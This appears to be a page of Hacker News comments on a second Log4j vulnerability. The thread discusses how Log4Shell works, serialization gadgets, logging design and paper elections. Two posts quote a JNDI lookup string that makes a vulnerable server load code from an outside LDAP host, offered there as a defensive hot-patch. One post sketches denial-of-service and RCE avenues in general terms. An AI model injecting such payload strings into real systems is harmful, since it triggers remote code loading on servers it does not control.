Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Log4Shell update: second Log4j vulnerability published

lunasec.io

Post reply on HN
Print view View original

131–140 of 289 posts

Re: Log4Shell update: second Log4j vulnerability published

#131

Post by jiggawatts »

boublepop wrote: post #80
geerlingguy wrote: post #3

This is the vulnerability that keeps on giving. The annoying thing is, since it is evolving and attacks are spreading (and it has rightly gotten the attention of nearly everyone's IT department), we're hitting a stage where almost every customer is emailing daily asking for updates on mitigations based on evolving CVE discussions. I'd rather people be over-vigilant rather than pass on it, but mitigation is taking a b…

It’s a process circus. Once something gets raised as a critical IT issue in a large org, it’s not enough to “just fix the problem” or state that you aren’t affected due to network security etc. You have to report about it, which means you likely need a comment from a vendor. The most humorous thing for me about this entire situation is that the way reporting is handle in many orgs is: Central IT: Are we vulnerable in…

That's precisely what happened today at ${dayjob}.

Re: Log4Shell update: second Log4j vulnerability published

#132

Post by detaro »

Quekid5 wrote: post #130
staticassertion wrote: post #118

Earlier quoted context omitted.

Can you elaborate? I don't see how you would exploit Python with a string like that unless there's an `eval` somewhere in Python's logger? I wouldn't exactly put it past the language, for sure, but I'm not aware of that being the case. The reason this works in the java library is that the library explicitly adds functionality to evaluate the strings that are passed in, and has a meta-language for computing based on t…

Python 3.10.1 (main, Dec 11 2021, 17:22:55) [GCC 11.1.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> print(f"""{print("hello")}""") hello None So Python runs the expression in { } and interpolates the result into the string. Presumably the { } has access to anything that's in scope. (I'm not quite sure how common patterns are, but I assume the person is replying to is imagining…

This is no more a vulnerability than that

     >>> x=5
     >>> print(x)
has access to X. A problem if, as parent asks,

> there's an `eval` somewhere in Python's logger

Re: Log4Shell update: second Log4j vulnerability published

#133

Post by bzzzt »

jfoutz wrote: post #101
freeqaz wrote: post #19

Earlier quoted context omitted.

Author here. It's not actually a "bug", per se. It's actually a (very misguided) feature! Here it is in the docs: https://logging.apache.org/log4j/2.x/manual/lookups.html#Jnd... > By default the JDNI Lookup only supports the java, ldap, and ldaps protocols or no protocol. So that's where the LDAP portion comes from. This would be perfectly fine if it could only be configured via code or some config file, but the prob…

I've really enjoyed your comments on this page, your blog, and the sample code you're pointing people at. This feels so much like a 90's java/flash bug, it's kind of hilarious and awesome. I think there are 2 key things (As I understand them, and I'm just some random guy, don't trust my armchair analysis) 1. The evil ldap server does not send bytecode to execute. It sends instructions about a class to create, and how…

* That class needs to be on the server already.

The problem is lots of frameworks come with some pretty vulnerable classes. There are lists of 'serialization gadgets' for some potentially exploitable things if you can trigger a JVM to deserialize untrusted input.

Re: Log4Shell update: second Log4j vulnerability published

#134

Post by kbart »

bullen wrote: post #94

Calendar date = Calendar.getInstance(); PrintStream ps = new PrintStream(new FileOutputStream(new File("log.txt")), true, "UTF-8"); ps.write(new SimpleDateFormat("yy-MM-dd HH:mm:ss.SSS").format(date.getTime()) + " message that does not need LDAP".getBytes("UTF-8")); 3 lines that replace 1705KB of log4j-core-2.14.1.jar "It does more than that..." I hear you mutter... yes it does more than that! Please build something…

That's not how logging works in real world. It might be sufficient for a pet project running on a single machine, but not when you have hundreds of instances running in parallel, when you to send logs to a central system for parsing/analysis in near realtime, when you need an ability to configure logging levels and formats in flight etc. and do all that with minimal impact on the performance. I don't advocate JNDI-like functionality enabled by default (as any sane person), but there's a middleground somewhere in between.

Re: Log4Shell update: second Log4j vulnerability published

#135

Post by kuschku »

stef25 wrote: post #109
NaturalPhallacy wrote: post #61

Earlier quoted context omitted.

There's no good reason to do elections on anything other than paper.

If there's no way to build secure software that tallies digits then why are we even here?

There is no way to build software that reliably handles anonymous data in a way that is understandable to the average citizen.

Which is why e.g. Germany does all elections solely on paper, and still has early results just an hour after the polls close and final results the next morning.

Re: Log4Shell update: second Log4j vulnerability published

#136

Post by xorcist »

Bluecobra wrote: post #29
freeqaz wrote: post #13

We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell. ${jndi:ldap://hotpatch.log4shell.com:1389/a} If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly. Source code is on GitHub here[0][1] if you want to host it yourself. (This work is based on Logout…

Now that is really clever. One of affected products I use is Juniper Space to monitor our network infrastructure (which uses OpenNMS). Juniper’s only workaround currently is to completely disable OpenNMS, thereby leaving us in the dark for monitoring. This would be an excellent workaround, though I have been unable to trigger any PoC code.

It is likely trivial to remove the jndi related classes from the package. That's what I did for similar network related third party software and so far without any trouble at all.

Re: Log4Shell update: second Log4j vulnerability published

#138

Post by unionpivo »

stef25 wrote: post #109
NaturalPhallacy wrote: post #61

Earlier quoted context omitted.

There's no good reason to do elections on anything other than paper.

If there's no way to build secure software that tallies digits then why are we even here?

> If there's no way to build secure software that tallies digits then why are we even here?

Making semi secure software that tallies digits somewhat correctly for the 90% of the time. And its mostly good enogh.

But for important things like elections, making software secure and robust enough is a lot harder (and trusting that it was done so even more) than just using paper.

Same way most of us are still wiping our ass with paper, even though there are some more technologically advanced toilets that probably clean you better.

Re: Log4Shell update: second Log4j vulnerability published

#139

Post by jfoutz »

bzzzt wrote: post #133
jfoutz wrote: post #101

Earlier quoted context omitted.

I've really enjoyed your comments on this page, your blog, and the sample code you're pointing people at. This feels so much like a 90's java/flash bug, it's kind of hilarious and awesome. I think there are 2 key things (As I understand them, and I'm just some random guy, don't trust my armchair analysis) 1. The evil ldap server does not send bytecode to execute. It sends instructions about a class to create, and how…

* That class needs to be on the server already. The problem is lots of frameworks come with some pretty vulnerable classes. There are lists of 'serialization gadgets' for some potentially exploitable things if you can trigger a JVM to deserialize untrusted input.

OH Yes!

100% this. The JVM itself is a huge, sprawling beast. Adding in an extra 1000 libraries makes that surface area 1000 times worse. There is probably a way to exfiltrate a list of loaded classes via the exploit. (I can't think of one, but I believe there's a good chance such a thing exists). You could also just try looking for one of the zillion known bad classes.

I wanted to highlight that you're really looking at a multi stage attack for RCE. DOS is trivial. Use all the memory, Make a zillion threads, force load libraries that don't exist. I'm only vaguely competent, and I'm pretty sure I can make that happen in half an hour. A full RCE is less, somehow. I can't quite express the difference in risk. As a half assed attempt, I could show a 14 year old how to take down a server in an hour or two, and as I said, I'm only vaguely competent. If you're looking for a full RCE, that would take me time. But over a week or two, I could probably figure it out and be able to explain it.

URL class loader seems like a promising vector. jars have static initializers as part of the manifest, I think I could put that together, eventually. And I suck. The risk is still huge. But like, bob's java shop isn't a target for the equation group. They probably have a day or two to figure it out and fix RCE issues. DOS issues, they're fucked. That's trivial.

Re: Log4Shell update: second Log4j vulnerability published

#140

Post by freeqaz »

freeqaz wrote: post #13

We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell. ${jndi:ldap://hotpatch.log4shell.com:1389/a} If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly. Source code is on GitHub here[0][1] if you want to host it yourself. (This work is based on Logout…

We just pushed a follow-up post[0] to talk about why the hell we thought this crazy exploit thing might be a good idea. (spoiler: Log4Shell is actually forcing companies to deal with tech debt via dependency hell)

I'll finishing writing up the technical explanation tomorrow and publish that in a separate post. For now, I'm after some much needed sleep!

Good night, y'all. :)

0: https://www.lunasec.io/docs/blog/log4shell-live-patch/

Post reply on HN